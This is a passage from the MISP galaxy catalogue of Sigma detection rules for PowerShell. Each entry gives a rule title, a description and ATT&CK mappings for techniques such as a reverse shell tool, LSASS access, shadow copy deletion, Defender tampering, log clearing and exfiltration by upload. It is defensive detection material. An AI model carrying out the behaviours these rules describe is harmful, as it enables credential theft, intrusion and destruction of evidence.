https://learn.microsoft.com/en-us/dotnet/api/microsoft.hpc.scheduler.store.cx509enrollmentwebclassfactoryclass?view=hpc-sdk-5.1.6115
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=42
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=41
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_x509enrollment.yml

SyncAppvPublishingServer Execution to Bypass Powershell Restriction

Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.

The tag is: *misp-galaxy:sigma-rules="SyncAppvPublishingServer Execution to Bypass Powershell Restriction"*

View relationships graph

SyncAppvPublishingServer Execution to Bypass Powershell Restriction has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 16619. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml

Suspicious Unblock-File

Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.

The tag is: *misp-galaxy:sigma-rules="Suspicious Unblock-File"*

View relationships graph

Suspicious Unblock-File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005" with estimative-language:likelihood-probability="almost-certain"

Table 16620. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/unblock-file?view=powershell-7.2
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-3---remove-the-zoneidentifier-alternate-data-stream
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_unblock_file.yml

Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging

Detects attempts to remove Windows Defender configuration using the 'MpPreference' cmdlet

The tag is: *misp-galaxy:sigma-rules="Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging"*

View relationships graph

Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16621. Table References

Links
https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_windows_defender_rem_mp.yml

Active Directory Computers Enumeration With Get-AdComputer

Detects usage of the "Get-AdComputer" to enumerate Computers or properties within Active Directory.

The tag is: *misp-galaxy:sigma-rules="Active Directory Computers Enumeration With Get-AdComputer"*

View relationships graph

Active Directory Computers Enumeration With Get-AdComputer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

Table 16622. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adcomputer
https://github.com/redcanaryco/atomic-red-team/blob/02cb591f75064ffe1e0df9ac3ed5972a2e491c97/atomics/T1087.002/T1087.002.md
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_adcomputer.yml

Powershell Timestomp

Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.

The tag is: *misp-galaxy:sigma-rules="Powershell Timestomp"*

View relationships graph

Powershell Timestomp has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

Table 16623. Table References

Links
https://www.offensive-security.com/metasploit-unleashed/timestomp/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_timestomp.yml

Create Volume Shadow Copy with Powershell

Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information

The tag is: *misp-galaxy:sigma-rules="Create Volume Shadow Copy with Powershell"*

View relationships graph

Create Volume Shadow Copy with Powershell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 16624. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_volume_shadow_copy.yml

PSAsyncShell - Asynchronous TCP Reverse Shell

Detects the use of PSAsyncShell an Asynchronous TCP Reverse Shell written in powershell

The tag is: *misp-galaxy:sigma-rules="PSAsyncShell - Asynchronous TCP Reverse Shell"*

View relationships graph

PSAsyncShell - Asynchronous TCP Reverse Shell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16625. Table References

Links
https://github.com/JoelGMSec/PSAsyncShell
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_psasyncshell.yml

HackTool - WinPwn Execution - ScriptBlock

Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.

The tag is: *misp-galaxy:sigma-rules="HackTool - WinPwn Execution - ScriptBlock"*

View relationships graph

HackTool - WinPwn Execution - ScriptBlock has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

Table 16626. Table References

Links
https://github.com/S3cur3Th1sSh1t/WinPwn
https://reconshell.com/winpwn-tool-for-internal-windows-pentesting-and-ad-security/
https://www.publicnow.com/view/EB87DB49C654D9B63995FAD4C9DE3D3CC4F6C3ED?1671634841
repo[0]=redcanaryco/atomic-red-team[repo[0]=redcanaryco/atomic-red-team]
https://github.com/redcanaryco/atomic-red-team/blob/4d6c4e8e23d465af7a2388620cfe3f8c76e16cf0/atomics/T1082/T1082.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hktl_winpwn.yml

Add Windows Capability Via PowerShell Script

Detects usage of the "Add-WindowsCapability" cmdlet to add Windows capabilities. Notable capabilities could be "OpenSSH" and others.

The tag is: *misp-galaxy:sigma-rules="Add Windows Capability Via PowerShell Script"*

Table 16627. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse?tabs=powershell
https://www.virustotal.com/gui/file/af1c82237b6e5a3a7cdbad82cc498d298c67845d92971bada450023d1335e267/content
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_add_windows_capability.yml

Clearing Windows Console History

Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.

The tag is: *misp-galaxy:sigma-rules="Clearing Windows Console History"*

View relationships graph

Clearing Windows Console History has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"

Table 16628. Table References

Links
https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics
https://www.shellhacks.com/clear-history-powershell/
https://stefanos.cloud/blog/kb/how-to-clear-the-powershell-command-history/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clearing_windows_console_history.yml

Suspicious Mount-DiskImage

Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.

The tag is: *misp-galaxy:sigma-rules="Suspicious Mount-DiskImage"*

View relationships graph

Suspicious Mount-DiskImage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005" with estimative-language:likelihood-probability="almost-certain"

Table 16629. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mount_diskimage.yml

Computer Discovery And Export Via Get-ADComputer Cmdlet - PowerShell

Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file

The tag is: *misp-galaxy:sigma-rules="Computer Discovery And Export Via Get-ADComputer Cmdlet - PowerShell"*

View relationships graph

Computer Discovery And Export Via Get-ADComputer Cmdlet - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 16630. Table References

Links
https://www.cisa.gov/uscert/sites/default/files/publications/aa22-320a_joint_csa_iranian_government-sponsored_apt_actors_compromise_federal%20network_deploy_crypto%20miner_credential_harvester.pdf
http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html
https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_computer_discovery_get_adcomputer.yml

PowerShell Deleted Mounted Share

Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation

The tag is: *misp-galaxy:sigma-rules="PowerShell Deleted Mounted Share"*

View relationships graph

PowerShell Deleted Mounted Share has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005" with estimative-language:likelihood-probability="almost-certain"

Table 16631. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mounted_share_deletion.yml

Potential Persistence Via Security Descriptors - ScriptBlock

Detects usage of certain functions and keywords that are used to manipulate security descriptors in order to potentially set a backdoor. As seen used in the DAMP project.

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Security Descriptors - ScriptBlock"*

Table 16632. Table References

Links
https://github.com/HarmJ0y/DAMP
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ace_tampering.yml

Suspicious Get Information for SMB Share

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

The tag is: *misp-galaxy:sigma-rules="Suspicious Get Information for SMB Share"*

View relationships graph

Suspicious Get Information for SMB Share has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

Table 16633. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_smb_share_reco.yml

Automated Collection Command PowerShell

Once established within a system or network, an adversary may use automated techniques for collecting internal data.

The tag is: *misp-galaxy:sigma-rules="Automated Collection Command PowerShell"*

View relationships graph

Automated Collection Command PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

Table 16634. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_automated_collection.yml

Deletion of Volume Shadow Copies via WMI with PowerShell - PS Script

Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil

The tag is: *misp-galaxy:sigma-rules="Deletion of Volume Shadow Copies via WMI with PowerShell - PS Script"*

View relationships graph

Deletion of Volume Shadow Copies via WMI with PowerShell - PS Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 16635. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell
https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy_deletion.yml

Powershell Add Name Resolution Policy Table Rule

Detects powershell scripts that adds a Name Resolution Policy Table (NRPT) rule for the specified namespace. This will bypass the default DNS server and uses a specified server for answering the query.

The tag is: *misp-galaxy:sigma-rules="Powershell Add Name Resolution Policy Table Rule"*

View relationships graph

Powershell Add Name Resolution Policy Table Rule has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565" with estimative-language:likelihood-probability="almost-certain"

Table 16636. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/dnsclient/add-dnsclientnrptrule?view=windowsserver2022-ps
https://twitter.com/NathanMcNulty/status/1569497348841287681
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_add_dnsclient_rule.yml

WMImplant Hack Tool

Detects parameters used by WMImplant

The tag is: *misp-galaxy:sigma-rules="WMImplant Hack Tool"*

View relationships graph

WMImplant Hack Tool has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16637. Table References

Links
https://github.com/FortyNorthSecurity/WMImplant
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmimplant.yml

Service Registry Permissions Weakness Check

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services

The tag is: *misp-galaxy:sigma-rules="Service Registry Permissions Weakness Check"*

View relationships graph

Service Registry Permissions Weakness Check has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011" with estimative-language:likelihood-probability="almost-certain"

Table 16638. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7.4
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_acl_service.yml

Unsigned AppX Installation Attempt Using Add-AppxPackage - PsScript

Detects usage of the "Add-AppxPackage" or it's alias "Add-AppPackage" to install unsigned AppX packages

The tag is: *misp-galaxy:sigma-rules="Unsigned AppX Installation Attempt Using Add-AppxPackage - PsScript"*

Table 16639. Table References

Links
https://learn.microsoft.com/en-us/windows/msix/package/unsigned-package
https://twitter.com/WindowsDocs/status/1620078135080325122
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_install_unsigned_appx_packages.yml

Troubleshooting Pack Cmdlet Execution

Detects execution of "TroubleshootingPack" cmdlets to leverage CVE-2022-30190 or action similar to "msdt" lolbin (as described in LOLBAS)

The tag is: *misp-galaxy:sigma-rules="Troubleshooting Pack Cmdlet Execution"*

View relationships graph

Troubleshooting Pack Cmdlet Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 16640. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Msdt/
https://twitter.com/nas_bench/status/1537919885031772161
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_follina_execution.yml

Suspicious Hyper-V Cmdlets

Adversaries may carry out malicious operations using a virtual instance to avoid detection

The tag is: *misp-galaxy:sigma-rules="Suspicious Hyper-V Cmdlets"*

View relationships graph

Suspicious Hyper-V Cmdlets has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Run Virtual Instance - T1564.006" with estimative-language:likelihood-probability="almost-certain"

Table 16641. Table References

Links
https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.006/T1564.006.md#atomic-test-3---create-and-start-hyper-v-virtual-machine
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_hyper_v_condlet.yml

Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell

Detects Obfuscated Powershell via RUNDLL LAUNCHER

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell"*

View relationships graph

Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16642. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_rundll.yml

Enable Windows Remote Management

Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.

The tag is: *misp-galaxy:sigma-rules="Enable Windows Remote Management"*

View relationships graph

Enable Windows Remote Management has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"

Table 16643. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.2
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-1---enable-windows-remote-management
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_psremoting.yml

PowerShell Get-Process LSASS in ScriptBlock

Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity

The tag is: *misp-galaxy:sigma-rules="PowerShell Get-Process LSASS in ScriptBlock"*

View relationships graph

PowerShell Get-Process LSASS in ScriptBlock has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16644. Table References

Links
https://web.archive.org/web/20220205033028/https://twitter.com/PythonResponder/status/1385064506049630211
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_getprocess_lsass.yml

Powershell Create Scheduled Task

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code

The tag is: *misp-galaxy:sigma-rules="Powershell Create Scheduled Task"*

View relationships graph

Powershell Create Scheduled Task has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 16645. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-6---wmi-invoke-cimmethod-scheduled-task
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-4---powershell-cmdlet-scheduled-task
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cmdlet_scheduled_task.yml

Suspicious Eventlog Clear

Detects usage of known powershell cmdlets such as "Clear-EventLog" to clear the Windows event logs

The tag is: *misp-galaxy:sigma-rules="Suspicious Eventlog Clear"*

View relationships graph

Suspicious Eventlog Clear has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"

Table 16646. Table References

Links
https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.eventing.reader.eventlogsession.clearlog?view=windowsdesktop-9.0&viewFallbackFrom=dotnet-plat-ext-5.0#System_Diagnostics_Eventing_Reader_EventLogSession_ClearLog_System_String_
https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.eventlog.clear
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md
https://stackoverflow.com/questions/66011412/how-to-clear-a-event-log-in-powershell-7
https://twitter.com/oroneequalsone/status/1568432028361830402
https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_clear_eventlog.yml

Suspicious GetTypeFromCLSID ShellExecute

Detects suspicious Powershell code that execute COM Objects

The tag is: *misp-galaxy:sigma-rules="Suspicious GetTypeFromCLSID ShellExecute"*

View relationships graph

Suspicious GetTypeFromCLSID ShellExecute has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"

Table 16647. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md#atomic-test-2---powershell-execute-com-object
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gettypefromclsid.yml

Registry Modification Attempt Via VBScript - PowerShell

Detects attempts to modify the registry using VBScript's CreateObject("Wscript.shell") and RegWrite methods embedded within PowerShell scripts or commands. Threat actors commonly embed VBScript code within PowerShell to perform registry modifications, attempting to evade detection that monitors for direct registry access through traditional tools. This technique can be used for persistence, defense evasion, and privilege escalation by modifying registry keys without using regedit.exe, reg.exe, or PowerShell's native registry cmdlets.

The tag is: *misp-galaxy:sigma-rules="Registry Modification Attempt Via VBScript - PowerShell"*

View relationships graph

Registry Modification Attempt Via VBScript - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

Table 16648. Table References

Links
https://www.nextron-systems.com/2025/07/29/detecting-the-most-popular-mitre-persistence-method-registry-run-keys-startup-folder/
https://www.linkedin.com/posts/mauricefielenbach_livingoffthelandredteam-persistence-activity-7344801774182051843-TE00/
https://detect.fyi/hunting-fileless-malware-in-the-windows-registry-1339ccde00ad
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_vbscript_registry_modification.yml

PowerShell Script With File Upload Capabilities

Detects PowerShell scripts leveraging the "Invoke-WebRequest" cmdlet to send data via either "PUT" or "POST" method.

The tag is: *misp-galaxy:sigma-rules="PowerShell Script With File Upload Capabilities"*

View relationships graph

PowerShell Script With File Upload Capabilities has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

Table 16649. Table References

Links
https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1020/T1020.md
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.4
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_script_with_upload_capabilities.yml

Potential Suspicious Windows Feature Enabled

Detects usage of the built-in PowerShell cmdlet "Enable-WindowsOptionalFeature" used as a Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images

The tag is: *misp-galaxy:sigma-rules="Potential Suspicious Windows Feature Enabled"*

Table 16650. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps
https://learn.microsoft.com/en-us/windows/win32/projfs/enabling-windows-projected-file-system
https://learn.microsoft.com/en-us/windows/wsl/install-on-server
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_susp_windows_optional_feature.yml

PowerShell WMI Win32_Product Install MSI

Detects the execution of an MSI file using PowerShell and the WMI Win32_Product class

The tag is: *misp-galaxy:sigma-rules="PowerShell WMI Win32_Product Install MSI"*

View relationships graph

PowerShell WMI Win32_Product Install MSI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

Table 16651. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win32_product_install_msi.yml

Execute Invoke-command on Remote Host

Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.

The tag is: *misp-galaxy:sigma-rules="Execute Invoke-command on Remote Host"*

View relationships graph

Execute Invoke-command on Remote Host has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"

Table 16652. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.4
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-2---invoke-command
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_command_remote.yml

Suspicious GPO Discovery With Get-GPO

Detect use of Get-GPO to get one GPO or all the GPOs in a domain.

The tag is: *misp-galaxy:sigma-rules="Suspicious GPO Discovery With Get-GPO"*

View relationships graph

Suspicious GPO Discovery With Get-GPO has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615" with estimative-language:likelihood-probability="almost-certain"

Table 16653. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md
https://learn.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_gpo.yml

Powershell Local Email Collection

Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a users local system, such as Outlook storage or cache files.

The tag is: *misp-galaxy:sigma-rules="Powershell Local Email Collection"*

View relationships graph

Powershell Local Email Collection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"

Table 16654. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1114.001/T1114.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mail_acces.yml

Recon Information for Export with PowerShell

Once established within a system or network, an adversary may use automated techniques for collecting internal data

The tag is: *misp-galaxy:sigma-rules="Recon Information for Export with PowerShell"*

View relationships graph

Recon Information for Export with PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

Table 16655. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_recon_export.yml

Disable-WindowsOptionalFeature Command PowerShell

Detect built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images

The tag is: *misp-galaxy:sigma-rules="Disable-WindowsOptionalFeature Command PowerShell"*

View relationships graph

